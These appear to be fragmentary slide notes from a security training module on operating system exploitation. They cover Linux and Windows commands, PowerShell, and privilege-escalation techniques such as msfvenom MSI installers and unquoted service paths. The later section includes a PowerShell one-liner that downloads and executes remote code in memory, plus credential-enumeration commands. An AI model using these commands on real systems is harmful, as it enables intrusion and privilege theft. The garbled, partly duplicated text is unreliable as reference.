C3SA - Module - 5
C3SA - Module - 5
Operating System
Exploitation
2
Lab Setup
xUbuntu, OpenSUSE
CentOS Oracle Linux
Linux Mint
etc.
Filesystem types in linux
Majorly there are only most dominant type of filesystem for linux :
• Ext2
• Ext3
• Ext4
Ext2 filesystem
• Ext2 stands for second extended file system.
• It was introduced in 1993. Developed by Rémy Card.
• This was developed to overcome the limitation of the original Ext file
system.
• Ext2 does not have journaling feature.
• On flash drives, usb drives, ext2 is recommended, as it doesn’t need to do
the over head of journaling.
• Maximum individual file size can be from 16 GB to 2 TB
• Overall ext2 file system size can be from 2 TB to 32 TB
Ext3 filesystem
• All files and directories appear under the root directory /, even if they are stored on
different physical or virtual devices
• Most of these directories exist in all UNIX operating systems and are generally used
in much the same way.
Directory structure
• / (Root) : Primary hierarchy root and root directory of the entire file
system hierarchy.
o Every single file and directory starts from the root directory.
o Only root user has the right to write under this directory.
o /root is root user’s home directory, which is not same as / .
• “whoami” command:
Command used to know the current user we are logged in.
• “pwd” command:
It means “on what location you are” on the linux filesystem hierarchy. The parent
directory is “/” called root directory, inside this the whole filesystem exists. Also
known as present working directory.
• “ls” command:
It is used to see files and directories inside a directory. If we want to look up
inside another directory, we have to specify the location.
• “cd” command:
It is used for changing the directory.
• “mkdir” command:
we all have created a directory in windows GUI. Command line Interface is the
fastest way to operate to operating system.
• “cat” command:
Browsing the file system, we find files having contents, cat command is used to
see, edit contents inside a file.
• “cp” command:
it is used to copy files and folders from one location to another location.
• “rm” command:
It is used to remove files and folders.
• “uname” command:
It is used to know the name of your linux machine.”uname” stands for Unix name,
it displays detailed information about the machine name, operating system and
kernel.
• “w” command:
To show who is logged in and what they are doing, we use the ‘w’ command. It
displays information about logged in users and their respective processes.
• “head” command:
It is used to display the top lines of a file. By default, it display the top 10 line of a file.
• “tail” command:
It is used to display the bottom line of a file. By default, it display the bottom 10 line of a
file.
• “ps” command:
It displays the currently running processes in a linux system.
Network commands:
• “ifconfig” command:
It is used for network interface configuration (a network interface controller is a computer
hardware that connects a computer to a computer network). It displays the status of
currently active interfaces.
• “ping” command:
ping command is used to verify that a device can communicate with another device
on a network. It sends ICMP echo request to other device to check it’s connectivity.
• “wget” command:
wget or webget command is used to download a file directly from the web to the
terminal.
• “netstat” command:
print network connections, routing tables and other information about linux
subsystem.
• “service” command:
It is to initiate a service, also used to stop check status about a particular service.
• Exercises : Exercise 1
o You can always auto mount some file using fstab file present in /etc/
The syntax of a fstab entry is :
[Device] [Mount Point] [File System Type] [Options] [Dump] [Pass]
File Permissions
File Permissions
•Syntax
•Syntax
• “Passwd” file
- It contains sensitive
information like user account
etc
- It is accessible by a normal
user
- It contains sensitive
information like user account
etc
- It is accessible by a normal
user
- What software?
- Commands:
“crontab -l”
“ls -la /etc/cron*”
- Compiled list of legitimate binaries that can be leveraged by attackers to perform malicious
activities.
Link : https://gtfobins.github.io/
• Backups
• All files and directories appear under the drives, even if they are stored on different
physical or virtual devices
• Most of these directories exist in all Windows operating systems and are generally
used in much the same way.
File System
GUI CLI
Issuing essential commands from command line
In this section we will be learning about how to issue commands from CLI in
terminal. By command line, we mean a text-interface that allow us to enter
commands, execute them and view the results. We can run terminal and a
command line interpreter inside it (called shell).
• “cd” command:
It is used for changing the directory.
• “mkdir” command:
we all have created a directory in windows GUI. Command line Interface is the
fastest way to operate to operating system.
• “type” command:
Browsing the file system, we find files having contents, types command is used
to see, edit contents inside a file.
• “netstat” command:
It is used to see list of all active TCP connections from the machine
• “ping” command:
It is used for checking the availability of any entity.
• “tracert” command:
Visualize the path your internet traffic takes to get from your browser to a
remote servers.
• “systeminfo” command:
Provides all the system information
• “more” command:
Filter the large output using this command
• “schtasks” command:
Used to schedule tasks directly from command line. It is like cronjob in windows.
• “attrib” command:
Change file attributes. For ex : We can hide a visible file.
• “netsh” command:
Used to configure or setup the network tasks in a machine.
• “net” command:
Provides a wide functionality to interact with network / users etc.
• “icalcs” command:
Modify file system permissions
• “cls” command:
Clear the screen
• “driverquery” command:
List all drivers along with date
• “Tasklist” command:
Display all the scheduled tasks
• Exercises : Exercise 1
System
● Used by threat actors as a in-built tools for exploitation & accessing resources.
command to accessing a .NET class all can be done through the interactive
prompt.
Running Scripts in PowerShell
● Execution Policy for scripts in powershell are preconfigured to restricted
mode to block direct execution of remote scripts.
46
Importing Scripts
● There are 2 methods to import scripts in powershell:-
1) Dot Sourcing
49
Capabilities of Powershell
● In case of hopping from one machine (or network) to another one can also use
● One can write a PowerShell script to scan all ports using this cmdlet.
• Exercises : Exercise 3
Base64 encoded string can also be executed directly in the interactive session
as follows: -
-> $encodedcommand =
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($flo
pster))
during engagements.
Windows Defender.
Living Off the Land ( Direct Memory Execution)
1) iex (New-Object
System.Net.Webclient).DownloadString(‘https://Trusted_Domain/file.ps1’);
function_Name
57
• Exercises : Exercise 4
• All service
“sc.exe query"
- “net” command
“net start”
• Permissions over a service
“net.exe user"
- Enumerate all groups
“net localgroups”
Privileged Groups
- Groups
“cmdkey /list”
“c:\Windows\System32\Config\”
70
• Exercises : Exercise 4
• Replicate the previous demo in your own local lab [Windows Machine & a
Payload Server is required]
• Exercises :
NOTE : Check the privileges through which the meterpreter shell is taken.
Privilege Escalation
It refers to attain higher privileges by exploiting / abusing mis-configurations etc
• There can be multiple ways to escalate to privileged users. Let’s discuss few of
them.
1. Always Install Elevated Misconfig
• Create a malicious MSI installer using msfvenom & execute using msiexec
msiexec.exe wow.msi
2. Modifying Service Binary
sc.exe qc <service_name>
• If any service path is not quoted correctly, then an attacker would abuse
the scenario.
C:\Users\Public.exe
C:\Users\Public Folder\example.exe
• Enumerate the specific version & check the publically available exploits
6. Custom Application
• What it is doing:
• Copy pasting to another directory location
• Transmitting data over network
• Performing Permission based checks
• Understand the purpose of the application
• Write a custom script in PowerShell that scans a TCP port range using
“Test-NetConnection”
• Complete all the exercises & document the exercises steps (solutions)
in sequence.
Thankyou